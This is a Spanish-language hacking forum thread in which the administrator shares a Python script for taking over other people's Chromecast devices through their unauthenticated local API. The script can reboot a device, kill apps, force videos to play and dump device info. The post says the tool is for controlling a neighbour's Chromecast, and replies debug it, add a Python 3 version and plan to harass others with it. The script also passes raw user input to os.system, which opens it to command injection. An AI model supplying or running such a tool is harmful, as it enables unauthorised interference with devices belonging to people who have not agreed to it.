Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

ChromeCast Hacking

  • 15 Respuestas
  • 12860 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5489
  • Actividad:
    13.33%
  • Reputación 36
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Enero 02, 2018, 07:33:40 pm »

Hola a todos!
En este breve tutorial, les dejaré una tool que sirve para hackear chromecast aunque tengan pin.
Esta tool esta hecha en python, por lo que necesitarán tenerlo instalado en sus PCs.

Lo primero que deben hacer es instalar pip, para ello ejecutarán:

Código: Python
  1. sudo apt-get install python-pip

Una vez instalado, deberemos instalar una librería llamada PyChromecast, para ello ejecutamos el siguiente comando:

Código: Python
  1. sudo pip install PyChromecast

Finalmente, desde la consola y utilizando python, podrán ejecutar el script:

Código: Python
  1. import pychromecast
  2. import os
  3.  
  4. while True:
  5.     menu = """
  6. 1. Scan For Chromecasts
  7. 2. Kill Current Running App
  8. 3. Reboot Chromecast
  9. 4. Play Video
  10. 5. Get Rick Rolled ;)
  11. 6. Info about chromecast
  12.    """
  13.     print menu
  14.  
  15.     choose = raw_input(">")
  16.  
  17.     if choose == "1":
  18.         print "[*] Scanning..."
  19.         chromecasts = pychromecast.get_chromecasts()
  20.         myDevices = []
  21.         for device in chromecasts:
  22.             device.wait()
  23.             print(str(device))
  24.     elif choose == "2":
  25.         ip = raw_input("IP of Chrome Cast> ")
  26.         os.system('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X DELETE' % (ip))
  27.  
  28.     elif choose == "3":
  29.         ip = raw_input("IP of Chrome Cast> ")
  30.         os.system('curl -H "Content-Type: application/json" http://%s:8008/setup/reboot -d "{"params":"now"}" -X POST' % (ip))
  31.  
  32.     elif choose == "4":
  33.         ip = raw_input("IP of Chrome Cast> ")
  34.         print "eg. v=dQw4w9WgXcQ"
  35.         video = raw_input("Link> ")
  36.         os.system('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X POST -d "%s"' % (ip, video))
  37.        
  38.     elif choose == "5":
  39.         ip = raw_input("IP of Chrome Cast> ")
  40.         os.system('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X POST -d "v=dQw4w9WgXcQ"' % (ip))
  41.  
  42.     elif choose == "6":
  43.         ip = raw_input("IP of Chrome Cast> ")
  44.         os.system('curl http://%s:8008/setup/eureka_info?options=detail | json_pp' % (ip))
  45.  
  46.     else:
  47. print "Error!"

Entre las opciones del script tenemos las siguientes:

Código: Text
  1. 1. Scan For Chromecasts
  2. 2. Kill Current Running App
  3. 3. Reboot Chromecast
  4. 4. Play Video
  5. 5. Get Rick Rolled ;)
  6. 6. Info about chromecast

No he podido testearlo a full porque no tengo un chromecast a mano ni vecinos con uno. Pero espero que alguno de ustedes pueda comentarnos con los resultados que obtuvo!

Repo: https://github.com/toxic-ig/ChromeCastHacking/

Saludos y espero que les sirva!
ANTRAX


Desconectado Leo_Al

  • *
  • Underc0der
  • Mensajes: 14
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
  • Skype: wayercreew
« Respuesta #1 en: Marzo 11, 2018, 10:26:44 pm »
Buenísimo, mi vecino tiene uno, voy a ver que onda. Gracias por aporte!

Conectado xrahitel

  • *
  • Underc0der
  • Mensajes: 2
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
  • Skype: xrahitel
« Respuesta #2 en: Marzo 12, 2018, 01:14:19 am »

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5489
  • Actividad:
    13.33%
  • Reputación 36
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #3 en: Marzo 12, 2018, 02:02:14 am »


No te hace falta, el codigo está en el post.

Saludos,
ANTRAX


Desconectado KiddArabic

  • *
  • Underc0der
  • Mensajes: 273
  • Actividad:
    5%
  • Reputación 1
  • Vivir sin sueño no es vivir.
    • Ver Perfil
« Respuesta #4 en: Marzo 12, 2018, 08:19:17 pm »
no entiendo muy bien, puede manejarlo terceros ?

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5489
  • Actividad:
    13.33%
  • Reputación 36
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #5 en: Marzo 19, 2018, 09:41:44 am »
no entiendo muy bien, puede manejarlo terceros ?

No entendí tu pregunta. Basicamente sirve para manejar el chromecast de tu vecino

Saludos,
ANTRAX


Desconectado sicalis

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
  • Skype: data.hosted
« Respuesta #6 en: Marzo 24, 2018, 07:08:04 am »
root@kali:~/Github/chromecast# python ./chromecast.py
  File "./chromecast.py", line 47
    print "Error!"import pychromecast
    ^
IndentationError: expected an indented block

Ese es el error que me sale cuando intento ejecutar el script, alguien lo probo?

Desconectado luff1

  • *
  • Underc0der
  • Mensajes: 18
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #7 en: Marzo 26, 2018, 06:02:17 am »
root@kali:~/Github/chromecast# python ./chromecast.py
  File "./chromecast.py", line 47
    print "Error!"import pychromecast
    ^
IndentationError: expected an indented block

Ese es el error que me sale cuando intento ejecutar el script, alguien lo probo?
Revisa si tu versión de Python coincide con la del script (2.x/3.x).
Un saludo

Enviado desde mi Aquaris X5 Plus mediante Tapatalk

Conectado mrv0lk0vx

  • *
  • Underc0der
  • Mensajes: 6
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #8 en: Marzo 30, 2018, 09:15:20 pm »
root@kali:~/Github/chromecast# python ./chromecast.py
  File "./chromecast.py", line 47
    print "Error!"import pychromecast
    ^
IndentationError: expected an indented block

Ese es el error que me sale cuando intento ejecutar el script, alguien lo probo?
Buenas, solo falta poner una tabulación antes del print.. 
Con eso se soluciona el error. Igual me salia ese error.  :P
Saludos.

Desconectado Gn0m3

  • *
  • Underc0der
  • Mensajes: 396
  • Actividad:
    0%
  • Reputación 2
    • Ver Perfil
    • Underc0de
« Respuesta #9 en: Abril 01, 2018, 07:50:01 am »
Al correrlo me da lo siguiente... ::)


Código: [Seleccionar]
Traceback (most recent call last):
  File "Cc.py", line 1, in <module>
    import pychromecast
  File "/usr/local/lib/python2.7/dist-packages/pychromecast/__init__.py", line 9, in <module>
    from .config import *  # noqa
  File "/usr/local/lib/python2.7/dist-packages/pychromecast/config.py", line 6, in <module>
    import requests
  File "/usr/local/lib/python2.7/dist-packages/requests/__init__.py", line 84, in <module>
    from urllib3.contrib import pyopenssl
  File "/usr/lib/python2.7/dist-packages/urllib3/contrib/pyopenssl.py", line 46, in <module>
    import OpenSSL.SSL
  File "/usr/lib/python2.7/dist-packages/OpenSSL/__init__.py", line 8, in <module>
    from OpenSSL import crypto, SSL
  File "/usr/lib/python2.7/dist-packages/OpenSSL/crypto.py", line 12, in <module>
    from cryptography import x509
  File "/usr/lib/python2.7/dist-packages/cryptography/x509/__init__.py", line 8, in <module>
    from cryptography.x509.base import (
  File "/usr/lib/python2.7/dist-packages/cryptography/x509/base.py", line 16, in <module>
    from cryptography.x509.extensions import Extension, ExtensionType
  File "/usr/lib/python2.7/dist-packages/cryptography/x509/extensions.py", line 24, in <module>
    from cryptography.x509.general_name import GeneralName, IPAddress, OtherName
  File "/usr/lib/python2.7/dist-packages/cryptography/x509/general_name.py", line 18, in <module>
    from cryptography.x509.name import Name
  File "/usr/lib/python2.7/dist-packages/cryptography/x509/name.py", line 28, in <module>
    _ASN1_TYPE_TO_ENUM = dict((i.value, i) for i in _ASN1Type)
TypeError: 'type' object is not iterable

Ideas?

Saludos

Gn0m3

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5489
  • Actividad:
    13.33%
  • Reputación 36
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #10 en: Abril 06, 2018, 04:00:45 pm »
Pregunta tonta, pero no esta de más...
Lo corriste con sudo?

Saludos,
ANTRAX


Desconectado NERV0

  • *
  • Underc0der
  • Mensajes: 35
  • Actividad:
    0%
  • Reputación 5
    • Ver Perfil
« Respuesta #11 en: Abril 06, 2018, 05:22:27 pm »
Va como piña, voy a molestar a unos cuantos. Excelente aporte !

Saludos, NERV0.
“Ciertos programas informáticos son el reflejo del ego académico del pelotudo que los desarrolla”

Desconectado Gn0m3

  • *
  • Underc0der
  • Mensajes: 396
  • Actividad:
    0%
  • Reputación 2
    • Ver Perfil
    • Underc0de
« Respuesta #12 en: Abril 07, 2018, 08:10:59 pm »
La corri como root:
Probe con Python 2.7.14+
y
con
Python 3.6.5rc1

Desconectado Gn0m3

  • *
  • Underc0der
  • Mensajes: 396
  • Actividad:
    0%
  • Reputación 2
    • Ver Perfil
    • Underc0de
« Respuesta #13 en: Abril 08, 2018, 05:47:37 pm »
Bueno, ya pude resolver mi problema, se los dejo por si alguien le sucede lo mismo tenga forma de arreglarlo.

El problema lo encuentra al buscar enum en el fichero /usr/lib/python2.7/dist-packages/cryptography/x509/name.py

Lo que sucede es que por mas que tengamos enum34 que es el que se debe utilizar, no se actualiza en el archivo mencionado anteriormente.

Debemos abrir /x509/name.py, y editar la linea que dice:

from enum import Enum

le agregamos el 34 para que quede así:

from enum34 import Enum


Guardamos y listo.


Espero le sirva a alguien.

Saludos.

Gn0m3

Desconectado Gn0m3

  • *
  • Underc0der
  • Mensajes: 396
  • Actividad:
    0%
  • Reputación 2
    • Ver Perfil
    • Underc0de
« Respuesta #14 en: Abril 08, 2018, 06:25:01 pm »
Bueno, de nuevo yo, jajaja
tenia algunos problemas al querer usarlo con Python3, asique lo edite para Python3 y le agregue un Exit al menu para poder salir.

Código: Python
  1. ####################################################
  2. ####################################################
  3. #| | | |_ __   __| | ___ _ __ ___ / _ \  __| | ___ #
  4. #| | | | '_ \ / _` |/ _ \ '__/ __| | | |/ _` |/ _ \#
  5. #| |_| | | | | (_| |  __/ | | (__| |_| | (_| |  __/#
  6. # \___/|_| |_|\__,_|\___|_|  \___|\___/ \__,_|\___|#
  7. ####################################################
  8. ####################################################
  9.  
  10. import pychromecast
  11. import os
  12.  
  13. while True:
  14.     menu = """
  15. 1. Scan For Chromecasts
  16. 2. Kill Current Running App
  17. 3. Reboot Chromecast
  18. 4. Play Video
  19. 5. Get Rick Rolled
  20. 6. Info about chromecast
  21. 0. Exit
  22.    """
  23.     print (menu)
  24.  
  25.     choose = input (">")
  26.  
  27.     if choose == "1":
  28.         print ("[*] Scanning...")
  29.         chromecasts = pychromecast.get_chromecasts()
  30.         myDevices = []
  31.         for device in chromecasts:
  32.             device.wait()
  33.             print(str(device))
  34.     elif choose == "2":
  35.         ip = raw_input("IP of Chrome Cast> ")
  36.         os.system('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X DELETE' % (ip))
  37.  
  38.     elif choose == "3":
  39.         ip = raw_input("IP of Chrome Cast> ")
  40.         os.system('curl -H "Content-Type: application/json" http://%s:8008/setup/reboot -d "{"params":"now"}" -X POST' % (ip))
  41.  
  42.     elif choose == "4":
  43.         ip = raw_input("IP of Chrome Cast> ")
  44.         print ("eg. v=dQw4w9WgXcQ")
  45.         video = raw_input("Link> ")
  46.         os.system('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X POST -d "%s"' % (ip, video))
  47.        
  48.     elif choose == "5":
  49.         ip = raw_input("IP of Chrome Cast> ")
  50.         os.system('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X POST -d "v=dQw4w9WgXcQ"' % (ip))
  51.  
  52.     elif choose == "6":
  53.         ip = raw_input("IP of Chrome Cast> ")
  54.         os.system('curl http://%s:8008/setup/eureka_info?options=detail | json_pp' % (ip))
  55.  
  56.     elif choose == "0":
  57.         break
  58.     else:
  59.         print ("Error!")
  60.  

Saludos

Gn0m3
« Última modificación: Abril 08, 2018, 06:27:24 pm por Gn0m3 »

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5489
  • Actividad:
    13.33%
  • Reputación 36
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #15 en: Abril 08, 2018, 07:56:28 pm »
Tremendo aporte @Gn0m3
Mil gracias!


 

¿Te gustó el post? COMPARTILO!



Hacking Google + Archive.org = Archive.is

Iniciado por Rootkit_Pentester

Respuestas: 7
Vistas: 7323
Último mensaje Abril 25, 2017, 06:57:58 pm
por Rootkit_Pentester
Legal Hacking 2 - Descargas ¿Qué es legal y qué no?

Iniciado por HATI

Respuestas: 0
Vistas: 3713
Último mensaje Marzo 10, 2017, 10:00:18 pm
por HATI
Hacking "Password Self Manager"

Iniciado por Rootkit_Pentester

Respuestas: 0
Vistas: 2703
Último mensaje Abril 08, 2018, 11:36:04 am
por Rootkit_Pentester
Taller de Hacking con buscadores 3 "Censys.io"

Iniciado por Rootkit_Pentester

Respuestas: 0
Vistas: 2845
Último mensaje Marzo 31, 2018, 07:33:44 pm
por Rootkit_Pentester
Taller de Hacking con buscadores 4. "Shodan.io"

Iniciado por Rootkit_Pentester

Respuestas: 2
Vistas: 3647
Último mensaje Junio 15, 2018, 03:26:08 am
por Rootkit_Pentester